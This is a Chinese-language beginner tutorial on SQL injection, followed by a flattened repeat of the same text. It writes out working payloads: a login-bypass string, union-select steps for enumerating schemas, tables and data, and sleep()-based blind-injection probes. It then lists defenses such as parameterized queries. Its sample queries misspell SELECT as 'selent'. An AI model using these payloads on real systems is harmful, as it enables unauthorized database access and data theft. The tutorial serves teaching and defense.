初识SQL注入
字数 1384 2025-08-15 21:31:30

SQL注入攻击原理与防御指南

一、SQL注入概述

SQL注入是一种常见的Web安全漏洞,攻击者通过构造特殊的SQL语句,利用应用程序对用户输入数据过滤不严的缺陷,实现对数据库的非授权访问和操作。

关键条件

  1. 用户能够控制输入的内容
  2. Web应用将用户输入的内容直接拼接到SQL语句中执行

二、SQL注入类型

1. 按输入类型分类

  • 数字型注入selent * from users where id=1
  • 字符型注入
    • 单引号:selent * from users where id='1'
    • 双引号:selent * from users where id="1"
    • 带括号:
      • selent * from users where (id=1)
      • selent * from users where (id='1')
      • selent * from users where (id="1")

2. 按攻击方式分类

  • 联合查询注入:使用UNION SELECT获取数据
  • 布尔盲注:通过页面返回的真假判断信息
  • 时间盲注:通过延时函数判断条件真假
  • 报错注入:利用数据库报错信息获取数据

三、经典注入技术

1. 万能密码攻击

  • 攻击示例:在登录表单输入 root' or 1=1#
  • 原理分析
    原始SQLSELECT * FROM admin WHERE Username='root' and Password='pass'
    注入后:SELECT * FROM admin WHERE Username='root' or 1=1#' and Password='pass'
    
    • #注释掉后续密码验证部分
    • or 1=1使条件恒为真

2. 联合查询注入步骤

  1. 探测注入点id=55' 观察是否报错
  2. 注释测试id=55'%23 (%23是#的URL编码)
  3. 确定列数order by n 递增n直到报错
  4. 确定显示位union select 1,2,3,...
  5. 获取信息
    • 数据库用户:user()
    • 当前数据库:database()
    • 所有数据库:(select group_concat(schema_name) from information_schema.SCHEMATA)
    • 指定库的表:(select group_concat(table_name) from information_schema.TABLES where table_schema='test')
    • 表字段:(select group_concat(column_name) from information_schema.COLUMNS where table_schema='test' and table_name='admin')
    • 数据内容:(select group_concat(news) from test.admin)

3. 时间盲注技术

通过sleep函数判断条件:

1' and sleep(5) %23
1') and sleep(5) %23
1' and if(1=1,sleep(5),0) %23

四、防御措施

1. 输入验证与过滤

  • 对用户输入进行严格的白名单验证
  • 过滤特殊字符如单引号、双引号、注释符等

2. 参数化查询

使用预编译语句(Prepared Statement),避免SQL拼接

3. 最小权限原则

数据库账户只授予必要的最小权限

4. 错误处理

避免将数据库错误信息直接显示给用户

5. 安全编码实践

  • 使用ORM框架
  • 定期进行安全审计和渗透测试
  • 保持系统和组件更新

五、总结

SQL注入攻击危害严重,可能导致数据泄露、篡改甚至服务器沦陷。开发者应充分了解其原理,在开发过程中采用安全编码实践,结合多种防御措施,才能有效防范此类攻击。

SQL注入攻击原理与防御指南 一、SQL注入概述 SQL注入是一种常见的Web安全漏洞,攻击者通过构造特殊的SQL语句,利用应用程序对用户输入数据过滤不严的缺陷,实现对数据库的非授权访问和操作。 关键条件 用户能够控制输入的内容 Web应用将用户输入的内容直接拼接到SQL语句中执行 二、SQL注入类型 1. 按输入类型分类 数字型注入 : selent * from users where id=1 字符型注入 : 单引号: selent * from users where id='1' 双引号: selent * from users where id="1" 带括号: selent * from users where (id=1) selent * from users where (id='1') selent * from users where (id="1") 2. 按攻击方式分类 联合查询注入 :使用UNION SELECT获取数据 布尔盲注 :通过页面返回的真假判断信息 时间盲注 :通过延时函数判断条件真假 报错注入 :利用数据库报错信息获取数据 三、经典注入技术 1. 万能密码攻击 攻击示例 :在登录表单输入 root' or 1=1# 原理分析 : # 注释掉后续密码验证部分 or 1=1 使条件恒为真 2. 联合查询注入步骤 探测注入点 : id=55' 观察是否报错 注释测试 : id=55'%23 (%23是#的URL编码) 确定列数 : order by n 递增n直到报错 确定显示位 : union select 1,2,3,... 获取信息 : 数据库用户: user() 当前数据库: database() 所有数据库: (select group_concat(schema_name) from information_schema.SCHEMATA) 指定库的表: (select group_concat(table_name) from information_schema.TABLES where table_schema='test') 表字段: (select group_concat(column_name) from information_schema.COLUMNS where table_schema='test' and table_name='admin') 数据内容: (select group_concat(news) from test.admin) 3. 时间盲注技术 通过sleep函数判断条件: 四、防御措施 1. 输入验证与过滤 对用户输入进行严格的白名单验证 过滤特殊字符如单引号、双引号、注释符等 2. 参数化查询 使用预编译语句(Prepared Statement),避免SQL拼接 3. 最小权限原则 数据库账户只授予必要的最小权限 4. 错误处理 避免将数据库错误信息直接显示给用户 5. 安全编码实践 使用ORM框架 定期进行安全审计和渗透测试 保持系统和组件更新 五、总结 SQL注入攻击危害严重,可能导致数据泄露、篡改甚至服务器沦陷。开发者应充分了解其原理,在开发过程中采用安全编码实践,结合多种防御措施,才能有效防范此类攻击。